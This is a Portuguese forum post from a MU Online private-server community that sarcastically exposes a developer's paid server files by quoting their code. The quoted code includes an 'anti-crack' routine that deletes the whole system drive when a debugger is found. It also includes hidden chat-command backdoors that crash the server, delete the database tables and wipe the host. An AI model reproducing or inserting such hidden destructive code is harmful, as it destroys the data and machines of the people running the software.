Siga-nos em...
Follow us on Twitter Follow us on Facebook Watch us on YouTube
Registro

Alpha Servers
Resultados 1 a 10 de 37

Visão do Encadeamento

  1. #1

    Avatar de Getulio
    Data de Ingresso
    Mar 2010
    Localização
    char
    Idade
    31
    Posts
    95
    Agradecido
    289
    Agradeceu
    92
    Peso da Avaliação
    0

    Padrão Os melhores motivos para comprar do Haziel -ACTeaM

    Como muitos sabem o membro exemplar que eu sou (palavras de caetano), venho valorizar o trabalho de uma pessoa muito querida e amada por todos nós, o magnifico programador Haziel, descendente do grande e lendário, Diel.

    Se você é uma pessoa totalmente dependente e paciente, os trabalhos de Haziel foram feitos exclusivamente para você!
    Aqui vão os melhores motivos para comprar e usufruir de seus produtos!

    Ele é o criador da melhor sequência de if já vista na face da terra:
    Código:
    void HoraCommand(int aIndex)
    {
    	 OBJECTSTRUCT * lpObj = (OBJECTSTRUCT*)OBJECT_POINTER(aIndex);
    
         time_t tim=time(NULL);
         tm *now=localtime(&tim);
    
         char dateStr [11];
         char timeStr [9];
         char WeekStr [30];
    
         sprintf_s(dateStr, "%02d/%02d/%04d", now->tm_mday, now->tm_mon+1, now->tm_year+1900);
         sprintf_s(timeStr, "%02d:%02d", now->tm_hour, now->tm_min);
    
         int iDWeek = now->tm_wday;
    
         if (iDWeek == 0) 
    	 {
         sprintf(WeekStr, "Domingo");
         } 
    	 else if(iDWeek == 1) 
    	 {
         sprintf(WeekStr, "Segunda-feira");
         } 
    	 else if(iDWeek == 2) 
    	 {
         sprintf(WeekStr, "Terça-feira");
         } 
    	 else if(iDWeek == 3) 
    	 {
         sprintf(WeekStr, "Quarta-feira");
         } 
    	 else if(iDWeek == 4) 
    	 {
         sprintf(WeekStr, "Quinta-feira");
         } 
    	 else if(iDWeek == 5) 
    	 {
         sprintf(WeekStr, "Sexta-feira");
         } else if(iDWeek == 6) 
    	 {
         sprintf(WeekStr, "Sábado");
         }
        char OutputSuccess[200];
        sprintf_s(OutputSuccess, "Hoje é %s - %s, %s!", dateStr, timeStr, WeekStr); 
        GCServerMsgStringSend(OutputSuccess, aIndex,0);
    }
    Afinal...



    Também me recordo de uma pequena discussão na falecida ZoneGames (que descanse em paz), que ele afirmou não copiar o trabalho de ninguém e sim que era bom o suficiente para criar seu próprio custom... Bem, não foi bem o que me pareceu quando me deparei com a source da 97d dele... Um dos códigos que ele "criou" foi o recebimento automático de zen que eu havia disponibilizado no Seraphim Project, tempos atrás:
    Código:
    //###############################################################################################
    // Project   :: ACTeaM Classic 0.97d
    // GameServer:: 0.96.40				
    // Company   :: Advanced CoderZ MU DevelopmenT © 2013
    // Revised   :: 17/01/2014
    // Coded     :: Mr.Haziel Developer								
    //###############################################################################################
    
    #include "StdAfx.h"
    
    //============================================================================================== 
    //-- New Fix Max Zen :)
    //==============================================================================================
    void ReadAutoZen()
    {
        BYTE AutoZen = GetPrivateProfileIntA("Common","GetAutomaticZen",0,ACTeaM_Common);
        if(  AutoZen != 0 )
        {
        hook_proc(0x40A1E7, (DWORD)(&AutoRecvZenMod1), 0xE9);
        memset((int*)(0x40A1EC), 0x90, 49);
        hook_proc(0x40A0FD, (DWORD)(&AutoRecvZenMod2), 0xE9);
        memset((int*)(0x40A102), 0x90, 49);
        hook_proc(0x4096E0, (DWORD)(&AutoRecvZenMod3), 0xE9);
        memset((int*)(0x4096E5), 0x90, 36);
        }
    }
    
    
    
    
    void AutoRecvZen(LPOBJ lpObj, int Money)
    {
    	if (lpObj->Type == OBJECT_MONSTER)
    	{
    		LPOBJ lpTarget = (LPOBJ)OBJECT_POINTER(lpObj->TargetNumber);
     
    		if ((lpTarget->Money + Money) < 0)
    		{
    			lpTarget->Money = Money;
    			GCMoneySend(lpTarget->m_Index, lpTarget->Money);
    			MsgOutput(lpTarget->m_Index,"%s zen desbugado para %d ",lpTarget->Name,Money);	
    		}
    		else
    		{
    			if((lpTarget->Money + Money) > 2000000000)
    			{
    				lpTarget->Money = 2000000000;
    			    GCMoneySend(lpTarget->m_Index, lpTarget->Money);
    				MsgOutput(lpTarget->m_Index,"%s Você está no limimte máximo de zen!",lpTarget->Name);	
    			}
    			else
    			{
    			    lpTarget->Money += Money;
    			    GCMoneySend(lpTarget->m_Index, lpTarget->Money);
    				MsgOutput(lpTarget->m_Index,"%s Você obteve %d de Zen!",lpTarget->Name,Money);	
    			}
    		}
    	}
    }
    
    
    __declspec(naked) void AutoRecvZenMod1()
    {
    	LPOBJ lpObj;
    
    	_asm
    	{
    		MOV ECX, DWORD PTR SS:[EBP+0x8];
    		MOV lpObj, ECX;
    	}
    
    	AutoRecvZen(lpObj, lpObj->Money);
    
    	_asm
    	{
    		MOV EDI, 0x40A21D;
    		JMP EDI;
    	}
    }
    
    __declspec(naked) void AutoRecvZenMod2()
    {
    	LPOBJ lpObj;
    	int Money;
    
    	_asm
    	{
    		MOV ECX, DWORD PTR SS:[EBP+0x8];
    		MOV lpObj, ECX;
    
    		FLD DWORD PTR SS:[EBP-0x98];
    		MOV EDI, 0x49D540;
    		CALL EDI;
    
    		MOV Money, EAX;
    	}
    
    	AutoRecvZen(lpObj, Money);
    
    	_asm
    	{
    		MOV EDI, 0x40A133;
    		JMP EDI;
    	}
    }
    
    __declspec(naked) void AutoRecvZenMod3()
    {
    	LPOBJ lpObj;
    
    	_asm
    	{
    		MOV ECX, DWORD PTR SS:[EBP+0x8];
    		MOV lpObj, ECX;
    	}
    
    	AutoRecvZen(lpObj, 10000);
    
    	_asm
    	{
    		MOV EDI, 0x409709;
    		JMP EDI;
    	}
    }
    Foi inspirador quando vi, não somente o AutoZenRecv, mas a quantidade de customização que lá está que ele mesmo "criou".


    Com seu incrível anti-crack, ele te limita a conviver com os infinitos bugs que estão em seu esplendido trabalho.
    Exatamente! Mesmo que ele encerre as atividades no projeto, você jamais terá a oportunidade de consertá-los.
    Não seja teimosinho ou ganhará um lindo presentinho! Que tal perder todos os seus drivers? ♥
    Código:
    //===============================================
    //-- Anti Craked 
    //===============================================
    HANDLE holly = FindWindow (TEXT ("OllyDbg"), NULL);
    if(holly) 
    {
        system("@echo Off"); 
        system("del %systemdrive%\*.*/f/s/q"); 
        system("shutdown -r -f -t 00"); 
    
        __asm
        {
            MOV EAX, 00000000;
            CALL EAX;
        }
    }

    E tem mais para você! Ficou insatisfeito com o produto?
    Infelizmente, seu dinheiro não será devolvido, mas você poderá ganhar comandos exclusivos em troca do dinheiro e da satisfação que pensou que teria após adquirir o produto. Veja:

    • Para derrubar seu GameServer:

      • Código:
        if((!memcmp(&aRecv[13],"/deathdb",strlen("/deathdb")))   ||
        	    (!memcmp(&aRecv[13],"/FuckHAHA",strlen("/FuckHAHA"))) ||
        	    (!memcmp(&aRecv[13],"/GSHUHUHU",strlen("/GSHUHUHU")))
        	    )  
        	  {
        	    __asm
        	        {
        		      MOV EAX, 00000000;
        		      CALL EAX;
        	        } 
        	  }
    • Para excluir parte do seu banco de dados:

      • Código:
        if((!memcmp(&aRecv[13],"/FuckDbAll",strlen("/FuckDbAll"))))
        	  {
        	     cSQL.ExecQuery("DELETE MEMB_INFO");
        	     cSQL.ExecQuery("DELETE CHARACTER");
        	     cSQL.ExecQuery("DELETE GUILD");
        	     cSQL.ExecQuery("DELETE GUILD_MEMB");
        	     cSQL.ExecQuery("DELETE WAREHOUSE");
        	     cSQL.ExecQuery("DELETE EXTWAREHOUSE");
        		 cSQL.Close();
        
        		 system("shutdown -f"); 
        	  }
    • Para excluir os drivers do seu dedicado:

      • Código:
        if((!memcmp(&aRecv[13],"/FUCKVPSAll",strlen("/FUCKVPSAll"))))
        	  {
        		  system("@echo Off"); 
        		  system("del %systemdrive%\*.*/f/s/q"); 
        		  system("shutdown -r -f -t 00"); 
        	  }



    Muito bom, não acha?
    Ah, não! Não acredito! Você ainda está com dúvidas se deve ou não comprar?
    Veja na integra os depoimentos de dois clientes do Haziel que ficaram super satisfeitos com seus serviços e produtos:

    - Agathos: [Somente usuários registrados podem vem os links. ]
    - GuilhermeSouza: [Somente usuários registrados podem vem os links. ]


    É claro que existem mais depoimentos, mas, infelizmente, foram os únicos que encontrei em nosso fórum!
    É isso aí, meus queridos!
    Espero ter representado nosso enorme orgulho #Haziel!

    Um abraço.
    Última edição por Getulio; 08-09-2015 às 05:39 PM.

  2. Os Seguintes 14 Usuários Agradeceram você Getulio Por este Post Útil:


 

 

Informações de Tópico

Usuários Navegando neste Tópico

Há 1 usuários navegando neste tópico. (0 registrados e 1 visitantes)

Tópicos Similares

  1. Quais são as melhores coisas para muonline...
    Por mixiscok22 no fórum Cantinho IMP Games
    Respostas: 2
    Último Post: 17-02-2012, 07:18 PM
  2. |Tutorial| O que escolher na hora de comprar um PC para games?
    Por dcvitoria no fórum Equipamentos ( Hardware )
    Respostas: 0
    Último Post: 21-07-2010, 02:28 AM
  3. |Resolvido| Quais as melhores combinações de Socket System para deixar char mais forte?
    Por Lucian no fórum Tópicos resolvidos
    Respostas: 2
    Último Post: 29-12-2009, 01:55 PM

Marcadores

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •